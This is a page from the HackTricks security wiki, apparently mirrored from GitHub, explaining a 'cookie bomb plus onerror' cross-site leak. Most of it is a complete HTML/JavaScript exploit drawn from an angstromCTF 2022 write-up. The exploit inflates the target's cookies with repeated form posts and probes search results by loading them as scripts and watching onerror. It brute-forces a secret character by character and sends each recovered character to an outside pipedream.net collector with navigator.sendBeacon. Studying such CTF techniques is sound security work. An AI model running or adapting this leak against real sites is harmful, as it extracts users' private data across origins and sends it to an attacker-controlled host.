mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
82 lines
5.1 KiB
Markdown
82 lines
5.1 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
|
|
|
<details>
|
|
|
|
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **insert any amount of cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **too large to handle by the server so return an error http status code**. If the search fails, nothing will happen because URL is short.
|
|
|
|
```html
|
|
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
|
<script>
|
|
const $ = document.querySelector.bind(document);
|
|
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
|
|
let i = 0;
|
|
const stuff = async (len=3500) => {
|
|
let name = Math.random();
|
|
$("form").target = name;
|
|
let w = window.open('', name);
|
|
$("#f").value = "_".repeat(len);
|
|
$("#f").name = i++;
|
|
$("form").submit();
|
|
await sleep(100);
|
|
};
|
|
const isError = async (url) => {
|
|
return new Promise(r => {
|
|
let script = document.createElement('script');
|
|
script.src = url;
|
|
script.onload = () => r(false);
|
|
script.onerror = () => r(true);
|
|
document.head.appendChild(script);
|
|
});
|
|
}
|
|
const search = (query) => {
|
|
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
|
|
};
|
|
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
|
|
const url = "//en4u1nbmyeahu.x.pipedream.net/";
|
|
let known = "actf{";
|
|
window.onload = async () => {
|
|
navigator.sendBeacon(url + "?load");
|
|
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
|
|
await stuff(1600);
|
|
navigator.sendBeacon(url + "?go");
|
|
while (true) {
|
|
for (let c of alphabet) {
|
|
let query = known + c;
|
|
if (await search(query)) {
|
|
navigator.sendBeacon(url, query);
|
|
known += c;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
};
|
|
</script>
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|